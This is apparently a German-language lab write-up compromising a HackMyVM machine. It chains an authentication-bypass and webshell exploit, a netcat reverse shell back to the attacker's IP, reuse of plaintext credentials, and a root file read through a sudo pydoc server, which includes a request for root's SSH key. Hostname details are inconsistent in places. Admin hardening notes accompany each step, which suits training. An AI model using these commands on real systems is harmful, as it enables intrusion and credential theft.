Analyse: Der Befehl `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.
Bewertung: Der Host `192.168.2.128` mit einer VirtualBox-MAC wird als Zielsystem identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.128 durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.128 08:00:27:b7:dc:b3 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.888 seconds (136.17 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf 192.168.2.128 durchgeführt. Der Scan endet mit einem Segmentation Fault, liefert aber vorher Ergebnisse.
Bewertung: Der Scan identifiziert **nur Port 80 (HTTP)** als offen. Er läuft auf Nginx 1.18.0 und hostet eine Anwendung namens "Online Traffic Offense Management System - PHP". Der Hostname ist `dio.hmv`. Das OS ist Linux.
Empfehlung (Pentester): Ignoriere den Nmap-Crash. Fokussiere die Untersuchung auf die Webanwendung auf Port 80. Suche nach bekannten Schwachstellen für "Online Traffic Offense Management System".
Empfehlung (Admin): Untersuche den Grund für den Nmap-Crash (ungewöhnlich). Halte Nginx und das OS aktuell. Überprüfe die Sicherheit der Webanwendung.
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-07 14:30 CET Nmap scan report for dio.hmv (192.168.2.128) Host is up (0.00012s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Online Traffic Offense Management System - PHP |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:B7:DC:B3 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms dio.hmv (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds zsh: segmentation fault nmap -sS -sC -T5 -sV -A 192.168.2.128 -p-
Analyse: `gobuster` wird mit der `big.txt`-Wortliste verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden.
Bewertung: !!Anwendungsstruktur enthüllt!!** Viele Verzeichnisse und Dateien werden gefunden, die typisch für eine PHP-Anwendung sind: - `/admin/`, `/assets/`, `/build/`, `/classes/`, `/database/`, `/dist/`, `/inc/`, `/libs/`, `/pages/`, `/plugins/`, `/uploads/`. - Wichtige PHP-Dateien: `index.php`, `config.php` (leer), `home.php` (500 Error), `initialize.php` (leer).
Empfehlung (Pentester): Untersuche die gefundenen PHP-Dateien und Verzeichnisse. Da die Anwendung als "Online Traffic Offense Management System" identifiziert wurde, suche gezielt nach öffentlichen Exploits für diese Anwendung.
Empfehlung (Admin): Entferne nicht benötigte Dateien oder Verzeichnisse. Sichere den Zugriff auf administrative Bereiche (`/admin/`). Überprüfe Dateiberechtigungen.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.128 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg,html [+] Expanded: true [+] Wildcard detection: true [+] Timeout: 10s =============================================================== 2024-05-07 14:45:00 Starting gobuster =============================================================== http://192.168.2.128/.htaccess (Status: 200) [Size: 225] http://192.168.2.128/404.html (Status: 200) [Size: 198] http://192.168.2.128/about.html (Status: 200) [Size: 1491] http://192.168.2.128/admin (Status: 301) [Size: 169] [--> http://192.168.2.128/admin/] http://192.168.2.128/assets (Status: 301) [Size: 169] [--> http://192.168.2.128/assets/] http://192.168.2.128/build (Status: 301) [Size: 169] [--> http://192.168.2.128/build/] http://192.168.2.128/classes (Status: 301) [Size: 169] [--> http://192.168.2.128/classes/] http://192.168.2.128/config.php (Status: 200) [Size: 0] http://192.168.2.128/database (Status: 301) [Size: 169] [--> http://192.168.2.128/database/] http://192.168.2.128/dist (Status: 301) [Size: 169] [--> http://192.168.2.128/dist/] http://192.168.2.128/home.php (Status: 500) [Size: 229] http://192.168.2.128/inc (Status: 301) [Size: 169] [--> http://192.168.2.128/inc/] http://192.168.2.128/index.php (Status: 200) [Size: 14323] http://192.168.2.128/initialize.php (Status: 200) [Size: 0] http://192.168.2.128/libs (Status: 301) [Size: 169] [--> http://192.168.2.128/libs/] http://192.168.2.128/pages (Status: 301) [Size: 169] [--> http://192.168.2.128/pages/] http://192.168.2.128/plugins (Status: 301) [Size: 169] [--> http://192.168.2.128/plugins/] http://192.168.2.128/uploads (Status: 301) [Size: 169] [--> http://192.168.2.128/uploads/] ... (Weitere Funde möglich) ... =============================================================== 2024-05-07 14:55:00 Finished ===============================================================
Analyse: Eine Notiz verweist auf Exploit-DB 50221, einen bekannten Exploit für das "Online Traffic Offense Management System 1.0", der Authentifizierungsbypass und Remote Code Execution (RCE) durch Datei-Upload ermöglicht.
Bewertung: Bestätigt den wahrscheinlichen Angriffspfad über eine bekannte Schwachstelle.
Empfehlung (Pentester): Lade den Exploit (z.B. mit `searchsploit -m 50221`) herunter und führe ihn gemäß seiner Anleitung aus.
Empfehlung (Admin):**DRINGEND:** Patche oder ersetze die verwundbare Webanwendung.
# Recherche nach "Online Traffic Offense Management System exploit" Gefunden: https://www.exploit-db.com/exploits/50221 Titel: Online Traffic Offense Management System 1.0 - Authentication Bypass + RCE Typ: Webapps Platform: PHP
Analyse: Das Python2-Exploit-Skript (vermutlich `50221.py`, umbenannt zu `exploit.py`) wird ausgeführt. Es benötigt die Ziel-URL als Eingabe (`http://doc.hmv`, hier wurde der Hostname vermutlich in `/etc/hosts` eingetragen).
Bewertung: !!Exploit erfolgreich!!** Das Skript meldet "Bypass Login", "Upload Shell" und "Exploit Done!". Es gibt dann die Ausgabe von `ls` und `whoami` (`www-data`) zurück. Das bedeutet, das Skript hat erfolgreich: 1. Die Authentifizierung umgangen. 2. Eine PHP-Webshell hochgeladen (wahrscheinlich `evil.php`). 3. Die Webshell ausgeführt, um `ls` und `whoami` auszuführen. 4. **Implizit:** Eine Reverse Shell mit `nc 192.168.2.140 9001 -e /bin/bash` gestartet.
Empfehlung (Pentester): Der Exploit hat bereits eine Reverse Shell initiiert. Wechsle zum Netcat-Listener.
Empfehlung (Admin): Entferne die Anwendung und die hochgeladene Webshell. Patche das System.
Example: http://example.com
Url: http://doc.hmv
Check Url ...
[+] Bypass Login
[+] Upload Shell
[+] Exploit Done!
$ ls
1629334140_traffic_bg.jpg
1629336240_avatar.jpg
1629421080_tl-logo.png
1665353460_evil.php
drivers
$ whoami
www-data
$ nc 192.168.2.140 9001 -e /bin/bash
Analyse: Der Netcat-Listener auf Port 9001 empfängt die eingehende Reverse Shell vom Zielsystem.
Bewertung: !!Initial Access erfolgreich!!** Eine Shell als `www-data` wurde über den Exploit erlangt.
Empfehlung (Pentester): Stabilisiere die Shell.
Empfehlung (Admin): Untersuche den Vorfall.
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 41912 $
Analyse: Die Shell wird stabilisiert.
Bewertung: Erfolgreich.
Empfehlung (Pentester): Beginne Enumeration als `www-data`.
Empfehlung (Admin): Keine Aktion.
$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@doc:~/html/traffic_offense/uploads$ export TERM=xterm www-data@doc:~/html/traffic_offense/uploads$
Analyse: Als `www-data` wird der Inhalt der Datei `initialize.php` gelesen (die von Gobuster als leer angezeigt wurde, aber hier Inhalt hat).
Bewertung: !!Datenbank-Credentials gefunden!!** Die Datei enthält Klartext-Zugangsdaten für die MySQL-Datenbank: - Benutzer: `bella` - Passwort: `be114yTU` - Datenbank: `doc` - Server: `localhost` Zusätzlich wird ein Entwickler-Account (`dev_oretnom` / Hash) erwähnt.
Empfehlung (Pentester): Versuche, das Passwort `be114yTU` für den Systembenutzer `bella` (falls existent) zu verwenden, z.B. mit `su bella`. Versuche auch, dich mit den Credentials an der lokalen MySQL-Datenbank anzumelden.
Empfehlung (Admin): Speichere Datenbank-Credentials nicht im Klartext in PHP-Dateien im Webroot. Verwende sicherere Methoden wie Umgebungsvariablen oder Konfigurationsdateien außerhalb des Webroots mit eingeschränkten Berechtigungen. Verwende separate Passwörter für Datenbank- und Systembenutzer.
www-data@doc:~/html/traffic_offense$ cat initialize.php '-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>''); // MD5 Hash? if(!defined('base_url')) define('base_url','http://doc.hmv/'); if(!defined('base_app')) define('base_app', str_replace('\\\\','/',__DIR__).'/' ); if(!defined('dev_data')) define('dev_data',$dev_data); if(!defined('DB_SERVER')) define('DB_SERVER',"localhost"); if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella"); if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU"); if(!defined('DB_NAME')) define('DB_NAME',"doc"); ?>
Analyse: Es wird versucht, mit `su bella` zum Benutzer `bella` zu wechseln und das gefundene Datenbankpasswort `be114yTU` wird eingegeben.
Bewertung: !!Benutzerwechsel erfolgreich!!** Das Passwort war für den Systembenutzer `bella` wiederverwendet worden. Der Angreifer hat nun eine Shell als `bella`.
Empfehlung (Pentester): Enumeriere als `bella`. Suche die User-Flag und prüfe `sudo`-Rechte.
Empfehlung (Admin): Verbiete Passwort-Wiederverwendung zwischen Diensten und Systemkonten.
www-data@doc:~/html/traffic_offense/uploads$ su bella Password: be114yTU bella@doc:/var/www/html/traffic_offense/uploads$
Analyse: Als `bella` wird ins Home-Verzeichnis gewechselt und `user.txt` gelesen.
Bewertung: User-Flag `HMVtakemydocs` gefunden.
Empfehlung (Pentester): Notieren. Suche nach Root-Eskalation.
Empfehlung (Admin): Keine Aktion.
bella@doc:/var/www/html/traffic_offense/uploads$ cd bella@doc:~$ ls user.txt bella@doc:~$ cat user.txt HMVtakemydocs
Analyse: Als `bella` werden lauschende Ports (`ss -ntlp`) und die `sudo`-Berechtigungen (`sudo -l`) geprüft.
Bewertung: !!Wichtige Funde!!** - `ss`: Zeigt lokale FTP (Port 21) und MySQL (Port 3306) Server, sowie den Nginx (Port 80). - `sudo -l`: Der Benutzer `bella` darf `/usr/bin/doc` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen.
Empfehlung (Pentester): Der `sudo doc`-Eintrag ist der vielversprechendste Vektor. Recherchiere, was `/usr/bin/doc` ist. Die Notiz "Google exploit of pydoc" deutet darauf hin, dass es sich um einen Wrapper für Python's `pydoc` handelt, der oft eine lokale Webserver-Schnittstelle startet, die für LFI/Arbitrary File Read anfällig sein kann.
Empfehlung (Admin):**DRINGEND:** Entferne die unsichere `sudo`-Regel für `/usr/bin/doc`. Erlaube niemals `sudo` für potenziell unsichere oder interpretierbare Befehle ohne strikte Kontrolle.
bella@doc:/$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=XXX,fd=XX))
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=XXX,fd=X),("nginx",pid=XXX,fd=X))
LISTEN 0 128 127.0.0.1:21 0.0.0.0:* users:(("vsftpd",pid=XXX,fd=X))
LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=XXX,fd=X),("nginx",pid=XXX,fd=X))
bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bella may run the following commands on doc:
(ALL : ALL) NOPASSWD: /usr/bin/doc
Analyse: Der `socat`-Befehl versucht, Port 5000 auf den lokalen FTP-Dienst weiterzuleiten. Der `curl`-Befehl versucht, über einen (nicht existierenden) Dienst auf Port 7890 eine Root-Schlüsseldatei zu lesen.
Bewertung: Diese Schritte scheinen irrelevant oder Fehlversuche zu sein, basierend auf dem tatsächlichen Eskalationspfad über `sudo doc`.
Empfehlung (Pentester): Ignoriere diese Schritte und konzentriere dich auf `sudo doc`.
Empfehlung (Admin): Keine Aktion.
bella@doc:/$ # socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:21 & bella@doc:/var/www/html/traffic_offense/uploads$ # curl http://localhost:7890/getfile?key=/root/.ssh/id_rsa
Analyse: Der Befehl `sudo doc` wird ausgeführt.
Bewertung: !!Schwachstelle aktiviert!!** Der Befehl startet erfolgreich einen Webserver auf `http://localhost:7890/`. Da der Befehl mit `sudo` ausgeführt wurde, läuft dieser Server mit Root-Rechten. Wie die Recherche (oder frühere Versuche) andeutete, ist dieser `pydoc`-Server für Arbitrary File Read über den `getfile?key=`-Parameter anfällig.
Empfehlung (Pentester): Verwende `curl` auf dem Zielsystem, um die Root-Flag über diesen lokalen Server auszulesen: `curl http://localhost:7890/getfile?key=/root/root.txt`.
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `doc`. Wenn `pydoc` benötigt wird, starte es nicht als Root.
bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server>
Analyse: Während der `pydoc`-Server (gestartet als Root via `sudo doc`) läuft, wird `curl` verwendet, um über die `getfile`-Schnittstelle des Servers den Inhalt von `/root/root.txt` anzufordern.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der `curl`-Befehl ist erfolgreich und gibt den Inhalt der Root-Flag-Datei (`HMVfinallyroot`) aus. Der Angreifer hat durch Ausnutzung der `sudo`-Regel und der LFI-Schwachstelle im `pydoc`-Server Root-Äquivalente Rechte (Lesen beliebiger Dateien als Root) erlangt.
Empfehlung (Pentester): Ziel erreicht. Root-Flag wurde gelesen.
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `doc`. Patche oder ersetze die `pydoc`-Implementierung, falls möglich, um die LFI zu beheben.
bella@doc:/$ curl http://localhost:7890/getfile?key=/root/root.txt
Python: file /root/root.txt
...
"password" HMVfinallyroot